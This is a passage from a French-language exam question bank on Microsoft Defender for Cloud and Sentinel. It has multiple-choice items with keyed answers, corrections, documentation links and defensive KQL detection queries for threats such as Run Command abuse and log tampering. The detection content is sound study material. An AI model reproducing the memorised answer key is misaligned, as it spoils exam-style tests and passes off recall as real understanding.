**B.** Les recommandations ne concernent que les machines locales.

**C.** Elles sont identiques ; seule la couleur change.

**D.** Une alerte est toujours moins grave qu'une recommandation.

**Bonne réponse : A**

### Correction détaillée

**Recommandations** = gestion de la **posture** (CSPM) : configurations à risque à corriger, influençant le Secure Score. **Alertes** = **détection de menaces** (CWP) : activité suspecte en cours ou passée, à investiguer et traiter selon un processus de réponse aux incidents.

### Analyse des réponses incorrectes

- **B.** Elles concernent toutes les ressources évaluées.
- **C.** Elles relèvent de processus différents.
- **D.** Les deux ont leurs propres niveaux de gravité.

### Explication technique

Les alertes de Defender for Cloud sont corrélées en incidents et intégrées à Defender XDR ; les recommandations sont suivies par les équipes propriétaires (gouvernance). Les chemins d'attaque relient les deux mondes en hiérarchisant les risques exploitables.

**Point à retenir pour l'examen :** Recommandation = faiblesse à corriger (posture) ; alerte = menace à investiguer (réponse).

### Référence officielle

- Passer en revue les recommandations de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/review-security-recommendations
- Alertes et incidents de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-overview

## Question n° 373 — Rôles pour Defender for Cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un analyste SOC doit consulter les recommandations et les alertes Defender for Cloud dans le portail Azure et pouvoir gérer les alertes (par exemple les ignorer). Parmi les rôles intégrés proposés, lequel répond au besoin avec le moins de privilèges ?

**A.** Owner sur l'abonnement.

**B.** Security Admin (Administrateur de la sécurité, rôle Azure).

**C.** Security Reader.

**D.** Reader.

**Bonne réponse : B**

### Correction détaillée

Dans Azure, **Security Reader** donne la **lecture** des recommandations, alertes et stratégies de sécurité ; **Security Admin** permet en plus de **gérer les stratégies** de sécurité et de **gérer/ignorer les alertes**. Pour un périmètre encore plus restreint, un **rôle personnalisé** est possible.

### Analyse des réponses incorrectes

- **A.** Privilèges très excessifs (gestion complète des ressources et des accès).
- **C.** Il permet de consulter recommandations et alertes, mais pas de les gérer.
- **D.** Lecture générale des ressources, sans gestion des alertes de sécurité.

### Explication technique

Dans le portail Defender, l'accès aux alertes Defender for Cloud passe par le **RBAC unifié** de Defender XDR (ou, sans URBAC, par les rôles Entra Administrateur de la sécurité ou Administrateur général) ; selon la documentation, il s'applique à l'ensemble du locataire, un filtre par abonnement servant uniquement à l'affichage.

**Point à retenir pour l'examen :** Defender for Cloud (Azure) : Security Reader = lecture ; Security Admin = gestion des stratégies et des alertes.

### Référence officielle

- Qu’est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction
- Gérer et répondre aux alertes de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/manage-respond-alerts

## Question n° 374 — Intégration avec Defender XDR

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Depuis l'intégration de Defender for Cloud avec Defender XDR, où les analystes SOC investiguent-ils principalement les alertes de charges de travail cloud ?

**A.** Uniquement dans le portail Azure, sans aucune corrélation possible.

**B.** Dans le Centre d'administration Microsoft 365, onglet facturation.

**C.** Uniquement dans une feuille Excel exportée chaque semaine.

**D.** Dans le portail Microsoft Defender, où les alertes et incidents Defender for Cloud sont intégrés et corrélés avec les autres signaux (terminaux, identités, messagerie).

**Bonne réponse : D**

### Correction détaillée

La documentation indique que **tous les incidents et alertes** de Defender for Cloud (y compris multicloud) sont intégrés à **Defender XDR** : file d'alertes, histoire de l'attaque avec les **ressources cloud**, corrélation automatique avec les autres produits, et accès via l'API publique de Defender XDR.

### Analyse des réponses incorrectes

- **A.** L'intégration XDR fournit précisément la corrélation.
- **B.** Sans rapport.
- **C.** Aucune corrélation ni temps réel.

### Explication technique

Pour Sentinel, Microsoft recommande sur l'espace principal le connecteur **Tenant-based Microsoft Defender for Cloud** (incidents corrélés via Defender XDR) plutôt que l'ancien connecteur par abonnement, en évitant de combiner les deux.

**Point à retenir pour l'examen :** Alertes Defender for Cloud → intégrées et corrélées dans le portail

Defender (Defender XDR).

**Référence officielle**

- Alertes et incidents Microsoft Defender for Cloud dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-integration-365

## 5.2 Alertes, investigation et réponse dans le cloud

### Question n° 375 — Lire une alerte Defender for Cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** En ouvrant une alerte Defender for Cloud, quelles informations aident directement à décider de la réponse ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** La liste des utilisateurs Microsoft 365 du locataire.

**B.** Le montant de la facture Azure du mois.

**C.** La ressource affectée, les entités impliquées (IP, compte, processus) et l'intention de la chaîne d'attaque (tactique MITRE).

**D.** Le Secure Score Microsoft 365.

**E.** L'onglet « Prendre des mesures » (Take action) : étapes d'atténuation, prévention des menaces futures, automatisation et suppression d'alertes similaires.

**Bonne réponse : C, E**

**Correction détaillée**

La page d'alerte présente la **gravité**, la **ressource**, les **entités**, l'**intention MITRE**, les **détails** de l'activité, puis l'onglet **Take action** : **Atténuer la menace** (étapes recommandées), **Prévenir les attaques futures** (recommandations liées), **Déclencher une réponse automatisée** (Logic App), **Supprimer les alertes similaires**.

**Analyse des réponses incorrectes**

- **A.** Information non pertinente pour cette alerte.
- **B.** Sans rapport avec la réponse.
- **D.** Indicateur de posture, pas de réponse.

**Explication technique**

Les alertes peuvent être corrélées en **incidents** de sécurité (attaques multi-étapes) et apparaissent dans Defender XDR. Le lien vers les recommandations associées permet de corriger la cause (par exemple un port de gestion exposé).

**Point à retenir pour l'examen :** Alerte Defender for Cloud : ressource + entités + intention MITRE, puis Take action (atténuer, prévenir, automatiser, supprimer).

**Référence officielle**

- Gérer et répondre aux alertes de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/manage-respond-alerts
- Alertes et incidents de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-overview

### Question n° 376 — Force brute RDP sur une VM Azure

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte signale une attaque par force brute RDP réussie sur une VM Azure exposée sur Internet. Quelle séquence de réponse est la plus appropriée ?

**A.** Contenir la VM (restreindre le NSG/isoler via MDE), désactiver ou réinitialiser le compte compromis, investiguer l'activité post-connexion (processus, persistance), puis fermer l'exposition (JIT ou Bastion).

**B.** Augmenter la taille de la VM.

**C.** Supprimer la VM sans investigation.

**D.** Ignorer l'alerte car RDP est un service légitime.

**Bonne réponse : A**

#### Correction détaillée

Une **force brute réussie** implique un accès probable de l'attaquant : il faut **contenir** (règles réseau, isolation MDE), **invalider** les identifiants, **investiguer** (MDE, journaux de sécurité Windows), puis **corriger la cause** (exposition RDP) avec **JIT** ou **Azure Bastion**.

#### Analyse des réponses incorrectes

- **B.** Sans rapport.
- **C.** Perte de preuves et de compréhension du périmètre.
- **D.** Une force brute réussie signifie qu'un attaquant a probablement accès à la VM.

#### Explication technique

La recommandation « Les ports de gestion doivent être fermés sur vos machines virtuelles » est souvent liée à ce type d'alerte. Rechercher la même IP source sur les autres VM (SecurityEvent, DeviceLogonEvents).

**Point à retenir pour l'examen :** Force brute RDP réussie : contenir, invalider les identifiants, investiguer, puis fermer l'exposition (JIT/Bastion).

#### Référence officielle

- Alertes de sécurité - guide de référence — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-reference
- Activer l'accès juste-à-temps — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/enable-just-in-time-access

## Question n° 377 — Suppression des alertes Defender for Cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une alerte de Defender for Cloud se déclenche à chaque test d'intrusion autorisé mené depuis l'adresse IP du prestataire. Comment réduire ce bruit sans masquer les attaques réelles ?

**A.** Ajouter l'IP du prestataire en exclusion antivirus sur toutes les VM.

**B.** Désactiver le plan Defender concerné sur l'abonnement.

**C.** Créer une règle de suppression d'alertes limitée au type d'alerte concerné, à l'IP du prestataire et éventuellement à une date d'expiration.

**D.** Supprimer manuellement chaque alerte.

**Bonne réponse : C**

#### Correction détaillée

Les **règles de suppression** de Defender for Cloud ignorent automatiquement les alertes correspondant à des critères précis (nom d'alerte, entités comme l'IP ou l'utilisateur, ressources), avec une **date d'expiration** possible.

#### Analyse des réponses incorrectes

- **A.** Mécanisme inadapté et dangereux.

- **B.** Toutes les détections de ce plan seraient perdues.
- **D.** Laborieux et sans effet sur les prochaines alertes.

**Explication technique**

Les alertes supprimées restent consultables (état « Ignoré »). Comme pour l'ajustement des alertes Defender XDR, privilégier des critères très ciblés et documenter le motif.

**Point à retenir pour l'examen :** Faux positif connu = règle de suppression ciblée (type d'alerte + entités + expiration).

**Référence officielle**

- Supprimer les alertes de Microsoft Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-suppression-rules

## Question n° 378 — Automatisation des workflows

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous souhaitez qu'à chaque alerte Defender for Cloud de gravité élevée, un message soit publié dans Teams et un ticket créé, sans dépendre de Sentinel. Quelle fonctionnalité utiliser ?

**A.** Le tableau de bord de conformité réglementaire.

**B.** L'automatisation des workflows (workflow automation) de Defender for Cloud, qui déclenche une Logic App selon des conditions sur les alertes.

**C.** Les règles d'automatisation de Microsoft Sentinel.

**D.** Les règles de suppression.

**Bonne réponse : B**

**Correction détaillée**

L'**automatisation des workflows** lance des **Logic Apps** sur des **alertes**, des **recommandations** ou des **changements de conformité réglementaire**, avec des filtres (gravité, type). Elle permet aussi l'exécution manuelle depuis une alerte (Take action).

**Analyse des réponses incorrectes**

- **A.** Il n'envoie pas de notifications.
- **C.** Elles nécessitent que les alertes soient dans Sentinel, alors que le besoin exclut cette dépendance.
- **D.** Elles masquent des alertes, à l'opposé du besoin.

**Explication technique**

Les Logic Apps utilisent l'identité managée et des connecteurs (Teams, ServiceNow, Outlook). La configuration peut être déployée à l'échelle avec Azure Policy.

**Point à retenir pour l'examen :** Automatisation native sur alertes/recommandations Defender for Cloud = workflow automation (Logic Apps).

**Référence officielle**

- Automatiser les réponses de remédiation dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/workflow-automations

## Question n° 379 — Export continu

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** L'équipe veut conserver l'historique des alertes et des recommandations de Defender for Cloud dans un espace Log Analytics, et les transmettre à un SIEM tiers via Event Hubs. Quelle fonctionnalité utiliser ?

**A.** L'export continu (continuous export) vers Log Analytics et/ou Event Hubs.

**B.** Les règles de gouvernance.

**C.** L'analyse sans agent.

**D.** Le JIT.

**Bonne réponse : A**

**Correction détaillée**

L'**export continu** envoie en continu les **alertes**, **recommandations**, scores et évaluations de conformité vers un **espace Log Analytics** (tables SecurityAlert, SecurityRecommendation, etc.) et/ou **Event Hubs** (pour des SIEM tiers).

**Analyse des réponses incorrectes**

- **B.** Elles assignent des propriétaires aux recommandations.
- **C.** Elle évalue les VM.
- **D.** Il contrôle les ports de gestion.

**Explication technique**

Pour Sentinel, le connecteur Defender for Cloud (de préférence basé sur le locataire via Defender XDR) gère les alertes et incidents ; l'export continu reste utile pour les recommandations et pour l'historique de posture. Configuration déployable par Azure Policy.

**Point à retenir pour l'examen :** Historiser/transmettre alertes et recommandations = export continu (Log Analytics, Event Hubs).

**Référence officielle**

- Configurer l'exportation continue dans le portail Azure — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/continuous-export

## Question n° 380 — Connecteur Defender for Cloud dans Sentinel

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un client connecte Sentinel au portail Defender et utilise aussi Defender for Cloud sur 30 abonnements. Quelle configuration de connecteur est recommandée pour l'espace principal ?

**A.** Le connecteur par abonnement sur chaque espace, en plus du connecteur basé sur le locataire.

**B.** Aucun connecteur : les alertes Defender for Cloud arrivent dans Syslog.

**C.** Le connecteur « Tenant-based Microsoft Defender for Cloud », qui ingère les incidents corrélés via Defender XDR pour tout le locataire, en déconnectant le connecteur par abonnement hérité.

**D.** Le connecteur Common Event Format.

**Bonne réponse : C**

**Correction détaillée**

Selon la documentation de connexion de Sentinel au portail Defender, pour diffuser les incidents Defender for Cloud **corrélés pour tout le locataire** vers l'espace principal, on connecte **Tenant-based Microsoft Defender for Cloud** et on **déconnecte** le connecteur **Subscription-based (Legacy)** de tous les espaces. Sinon, on peut conserver l'ancien connecteur par abonnement.

**Analyse des réponses incorrectes**

- **A.** Doublons d'alertes et d'incidents ; la documentation recommande de déconnecter le connecteur hérité si l'on utilise le connecteur basé sur le locataire.
- **B.** Elles n'arrivent pas par Syslog.

- **D.** Inadapté.

**Explication technique**

L'ancien connecteur par abonnement prend en charge la synchronisation bidirectionnelle de l'état des alertes. Dans le modèle unifié, la corrélation des alertes Defender for Cloud se fait dans Defender XDR.

**Point à retenir pour l'examen :** Sentinel + portail Defender : connecteur Defender for Cloud basé sur le locataire (et retrait du connecteur hérité par abonnement).

**Référence officielle**

- Ingérer les alertes Microsoft Defender for Cloud dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-defender-for-cloud
- Connecter Microsoft Sentinel au portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-onboard

## Question n° 381 — Investiguer une alerte Defender for Cloud dans Sentinel

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez lister dans Sentinel les alertes Defender for Cloud de gravité élevée des 7 derniers jours avec la ressource compromise. Quelle requête convient ?

**A.**

REQUÊTE KQL

```
SecurityRecommendation
| where TimeGenerated > ago(7d)
| where RecommendationSeverity == "High"
```

**B.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(7d)
| where ProductName == "Microsoft Defender for Endpoint"
```

**C.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where Level == "Error"
```

**D.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(7d)
| where ProductName in ("Azure Security Center", "Microsoft Defender for Cloud")
| where AlertSeverity == "High"
| summarize arg_max(TimeGenerated, *) by SystemAlertId
| project TimeGenerated, AlertName, CompromisedEntity, ResourceId, Tactics, Status
```

**Bonne réponse : D**

**Correction détaillée**

Les alertes ingérées dans Sentinel sont dans **SecurityAlert**. Les alertes Defender for Cloud portent historiquement le **ProductName « Azure Security Center »** ; filtrer sur les deux valeurs couvre les variantes. La table étant mise à jour à chaque changement d'état, on garde la dernière version par **SystemAlertId**.

**Analyse des réponses incorrectes**

- **A.** Liste des recommandations (posture), pas des alertes de menace.
- **B.** Filtre sur MDE au lieu de Defender for Cloud.
- **C.** Opérations en erreur du plan de contrôle, sans lien avec les alertes de sécurité.

**Explication technique**

Vérifier les valeurs réelles de ProductName dans votre espace (`summarize count() by ProductName`). Les colonnes **ResourceId** et **CompromisedEntity** identifient la ressource ; **Entities** et **ExtendedProperties** contiennent les détails.

**Résultat attendu**

Les alertes Defender for Cloud élevées dédupliquées, avec la ressource et les tactiques.

**Hypothèses liées au schéma de données**

Hypothèse sur les valeurs de ProductName selon le connecteur utilisé.

**Point à retenir pour l'examen :** Alertes Defender for Cloud dans Sentinel = SecurityAlert (ProductName « Azure Security Center ») dédupliquée par SystemAlertId.

**Référence officielle**

- Alerte de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityalert

## Question n° 382 — Accès anormal à un compte de stockage

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Storage signale « Access from a suspicious IP address » sur un compte de stockage. Quelle démarche d'investigation est la plus complète ?

**A.** Attendre une deuxième alerte.

**B.** Identifier le mode d'authentification utilisé (clé de compte, SAS, Entra ID), les objets consultés et le volume (StorageBlobLogs), l'origine de l'identifiant (fuite de clé/SAS dans un dépôt de code, identité compromise), puis faire tourner les clés/SAS et restreindre l'accès réseau.

**C.** Changer uniquement le nom du conteneur.

**D.** Supprimer le compte de stockage immédiatement.

**Bonne réponse : B**

**Correction détaillée**

L'**authentification** détermine la remédiation : une **clé de compte** ou un **SAS** divulgués doivent être **renouvelés/révoqués** ; une identité Entra compromise doit être traitée côté identité. Les **journaux de ressources** (StorageBlobLogs) indiquent les opérations, objets et volumes.

**Analyse des réponses incorrectes**

- **A.** L'exfiltration peut être en cours.
- **C.** Les identifiants exposés restent valides.
- **D.** Destruction des données et des preuves.

**Explication technique**

Prévention : désactiver l'accès par clé partagée lorsque possible (Entra ID uniquement), SAS de courte durée avec stratégies d'accès stockées, pare-feu de stockage/points de terminaison privés, analyse des secrets dans le code (Defender for DevOps / CSPM).

**Point à retenir pour l'examen :** Accès suspect au stockage : identifier le type d'authentification, mesurer les accès, faire tourner clés/SAS, restreindre le réseau.

**Référence officielle**

- Présentation de Microsoft Defender pour le stockage — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-storage-introduction
- StorageBlobLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/storagebloblogs

## Question n° 383 — Minage de cryptomonnaie dans le cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Cloud signale une activité de minage de cryptomonnaie sur plusieurs VM récemment créées dans un abonnement de développement. Quelle hypothèse d'attaque vérifier en priorité ?

**A.** Un problème de facturation.

**B.** Une panne matérielle des hôtes Azure.

**C.** La compromission d'une identité ou d'un secret disposant de droits de création de ressources (Resource Hijacking, T1496), à vérifier dans AzureActivity (créations de VM, appelant, IP).

**D.** Une mise à jour automatique de Windows.

**Bonne réponse : C**

### Correction détaillée

Le **détournement de ressources** (T1496) consiste à utiliser la puissance de calcul de la victime. Des VM **récemment créées** pointent vers un **abus des droits de création** (identifiants volés, principal de service exposé, clé d'API dans un dépôt).

### Analyse des réponses incorrectes

- **A.** Le coût est une conséquence, pas la cause.
- **B.** Le minage est une activité logicielle.
- **D.** Sans rapport.

### Explication technique

Investiguer AzureActivity (`Microsoft.Compute/virtualMachines/write`, Caller, CallerIpAddress), les connexions de l'identité (SigninLogs, AADServicePrincipalSignInLogs), les quotas modifiés. Réponse : supprimer les ressources malveillantes après collecte, révoquer les identifiants, appliquer des stratégies Azure Policy (régions/SKU autorisés) et des alertes budgétaires.

**Point à retenir pour l'examen :** Minage sur des VM nouvelles = identifiants de création de ressources compromis (T1496) → AzureActivity.

### Référence officielle

- Alertes de sécurité - guide de référence — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-reference

## Question n° 384 — Exécution de commande sur une VM via Azure

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant disposant du rôle Contributor exécute des scripts sur des VM via la fonction « Run Command » d'Azure, sans se connecter en RDP. Quelle requête permet de repérer cette activité ?

**A.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(7d)
| summarize count() by Computer
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Remote Desktop"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624 and LogonType == 10
```

**D.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(7d)
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/runCommand/action"
| where ActivityStatusValue == "Success"
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, _ResourceId
```

**Bonne réponse : D**

**Correction détaillée**

**Run Command** (T1651 – Cloud Administration Command) exécute des scripts dans la VM via l'agent Azure, en tant que SYSTEM/root, à partir du **plan de contrôle**. L'opération apparaît dans **AzureActivity** (`runCommand/action`). Defender for Resource Manager peut aussi alerter.

**Analyse des réponses incorrectes**

- **A.** Disponibilité des agents.
- **B.** Connexions Entra à une application Bureau à distance, sans lien avec Run Command.
- **C.** Ouvertures de session RDP : l'attaquant n'utilise pas RDP ici.

**Explication technique**

Côté VM, le script est exécuté par l'agent invité (traces dans DeviceProcessEvents si MDE est présent). Restreindre le rôle Contributor et surveiller les identités qui l'utilisent ; Run Command est un outil d'administration légitime à encadrer.

**Résultat attendu**

Les exécutions réussies de Run Command avec l'appelant, l'IP et la VM ciblée.

> **Point à retenir pour l'examen :** Exécution de code sur VM via Azure = AzureActivity « runCommand/action » (T1651).

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Resource Manager — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-resource-manager-introduction
- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity

## Question n° 385 — Suppression des paramètres de diagnostic

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un attaquant supprime les paramètres de diagnostic d'un coffre de clés pour ne plus laisser de traces. Quelle requête Sentinel détecte cette action d'évasion ?

**A.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue =~ "Microsoft.Insights/diagnosticSettings/delete"
| project TimeGenerated, Caller, CallerIpAddress, _ResourceId, ActivityStatusValue
```

**B.**

REQUÊTE KQL

```
AuditLogs
| where TimeGenerated > ago(1d)
| where OperationName == "Delete user"
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 1102
```

**D.**

REQUÊTE KQL

```
StorageBlobLogs
| where TimeGenerated > ago(1d)
| where OperationName == "DeleteBlob"
```

**Bonne réponse : A**

**Correction détaillée**

La suppression des **paramètres de diagnostic** (T1562.008 – Disable or Modify Cloud Logs) est une opération du plan de contrôle visible dans **AzureActivity** (`Microsoft.Insights/diagnosticSettings/delete`).

**Analyse des réponses incorrectes**

- **B.** Suppression d'utilisateurs Entra, pas de paramètres de diagnostic.
- **C.** Effacement du journal Windows, pas des paramètres de diagnostic Azure.
- **D.** Suppression de blobs.

**Explication technique**

Prévention : Azure Policy (DeployIfNotExists) pour réappliquer automatiquement les paramètres, verrous de ressources, RBAC restreint. Alerter aussi sur la désactivation des plans Defender (`Microsoft.Security/pricings/write`).

**Résultat attendu**

Les suppressions de paramètres de diagnostic avec l'auteur et la ressource.

**Point à retenir pour l'examen :** Désactivation des journaux cloud = AzureActivity « diagnosticSettings/delete » (T1562.008).

**Référence officielle**

- Paramètres de diagnostic dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/diagnostic-settings
- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity

## Question n° 386 — Alertes Kubernetes

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender for Containers signale « Privileged container detected » puis « Escape to host attempt » dans un cluster AKS. Quelle réponse est la plus appropriée ?

**A.** Ignorer : les conteneurs privilégiés sont nécessaires à toutes les applications.

**B.** Isoler la charge (supprimer ou mettre à l'échelle zéro le pod, appliquer une politique réseau restrictive), examiner le nœud (possible compromission de l'hôte), identifier qui a déployé le conteneur et renforcer les politiques d'admission (interdire les conteneurs privilégiés).

**C.** Désactiver Defender for Containers.

**D.** Redémarrer le cluster sans investigation.

**Bonne réponse : B**

### Correction détaillée

Un **conteneur privilégié** permet d'accéder aux ressources de l'hôte ; une **tentative d'évasion** (T1611 – Escape to Host) indique une progression vers le nœud. La réponse cible la charge, le nœud et le vecteur (identité ou pipeline ayant déployé le pod).

### Analyse des réponses incorrectes

- **A.** C'est rarement nécessaire et très risqué.
- **C.** Supprimerait la détection.
- **D.** Perte de preuves ; le déploiement malveillant pourrait revenir.

### Explication technique

Sources : alertes Defender for Containers, journaux d'audit Kubernetes (via paramètres de diagnostic AKS), AzureActivity. Prévention : Azure Policy pour Kubernetes (pod security), images signées et analysées, RBAC Kubernetes minimal.

**Point à retenir pour l'examen :** Conteneur privilégié + évasion = isoler la charge, examiner le nœud, trouver qui a déployé, durcir l'admission.

### Référence officielle

- Présentation de Microsoft Defender pour les conteneurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-containers-introduction

## Question n° 387 — Indicateurs de compromission cloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Parmi les éléments suivants, lesquels sont des indicateurs de compromission typiques d'un environnement Azure ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** L'application mensuelle des correctifs par Azure Update Manager.

**B.** La consultation du Secure Score par le RSSI.

**C.** Le redémarrage planifié d'une VM pendant la fenêtre de maintenance.

**D.** La création soudaine de nombreuses VM GPU dans une région jamais utilisée par l'organisation.

**E.** L'opération listKeys sur des comptes de stockage par une identité qui ne le fait jamais, depuis une IP inconnue.

**Bonne réponse : D, E**

### Correction détaillée

Les **IOC cloud** sont souvent **comportementaux** : création anormale de ressources (minage, T1496), récupération de **clés** de stockage (`listKeys`) ou de secrets Key Vault, nouvelles attributions de rôles privilégiés, désactivation des journaux ou des plans Defender, opérations depuis des IP ou des régions inhabituelles.

### Analyse des réponses incorrectes

- **A.** Opération de maintenance planifiée.
- **B.** Activité normale.
- **C.** Activité normale.

### Explication technique

Ces signaux se trouvent dans AzureActivity, les journaux de ressources (Key Vault, Storage) et les alertes Defender for Cloud (Resource Manager, Storage, Key Vault). Ils se corrèlent avec SigninLogs pour l'identité utilisée.

**Point à retenir pour l'examen :** IOC cloud = comportements anormaux du plan de contrôle (créations, listKeys, rôles, désactivation des journaux).

### Référence officielle

- Alertes et incidents de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/alerts-overview
- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity

## Question n° 388 — Requête de création de ressources inhabituelle

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous voulez détecter les créations de VM dans des régions jamais utilisées par l'abonnement au cours des 30 jours précédents. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(30d)
| where OperationNameValue has "delete"
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| summarize count() by ResourceGroup
```

**C.**

REQUÊTE KQL

```
Heartbeat
| where TimeGenerated > ago(1d)
| summarize by Computer, ComputerIP
```

**D.**

REQUÊTE KQL

```
let RegionsConnues = AzureActivity
| where TimeGenerated between (ago(31d) .. ago(1d))
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/write" and ActivityStatusValue
== "Success"
| extend Region = tostring(Properties_d.resourceLocation)
| summarize Regions = make_set(Region) by SubscriptionId;
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue =~ "Microsoft.Compute/virtualMachines/write" and ActivityStatusValue
== "Success"
| extend Region = tostring(Properties_d.resourceLocation)
| join kind=leftouter RegionsConnues on SubscriptionId
| where isempty(Regions) or not(set_has_element(Regions, Region))
| project TimeGenerated, Caller, CallerIpAddress, SubscriptionId, Region, _ResourceId
```

**Bonne réponse : D**

### Correction détaillée

On construit une **référence** des régions utilisées par abonnement (30 jours), puis on compare les créations du jour. La jointure **leftouter** garde aussi les abonnements sans historique (`isempty(Regions)`), considérés comme nouveaux.

### Analyse des réponses incorrectes

- **A.** Suppressions de ressources, pas créations dans de nouvelles régions.
- **B.** Comptage par groupe de ressources, sans notion de région ni de nouveauté.
- **C.** Liste des agents actifs, sans lien avec la région de création.

**Explication technique**

La région de la ressource peut figurer dans différentes propriétés selon les opérations : vérifier `Properties_d` dans vos données (hypothèse : `resourceLocation`). Azure Policy « Emplacements autorisés » prévient ce scénario.

**Résultat attendu**

Les créations de VM dans des régions inédites pour l'abonnement, avec l'auteur et l'IP.

**Hypothèses liées au schéma de données**

Hypothèse : la région figure dans `Properties_d.resourceLocation` ; selon les événements, elle peut devoir être extraite d'autres champs ou de `_ResourceId`.

**Amélioration proposée**

Ajouter la taille de VM (SKU GPU) et alerter en priorité sur les créations massives en peu de temps.

**Point à retenir pour l'examen :** Nouveauté cloud = référence par abonnement (make_set) + comparaison (set_has_element) ; prévention par Azure Policy.

**Référence officielle**

- AzureActivity — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/azureactivity
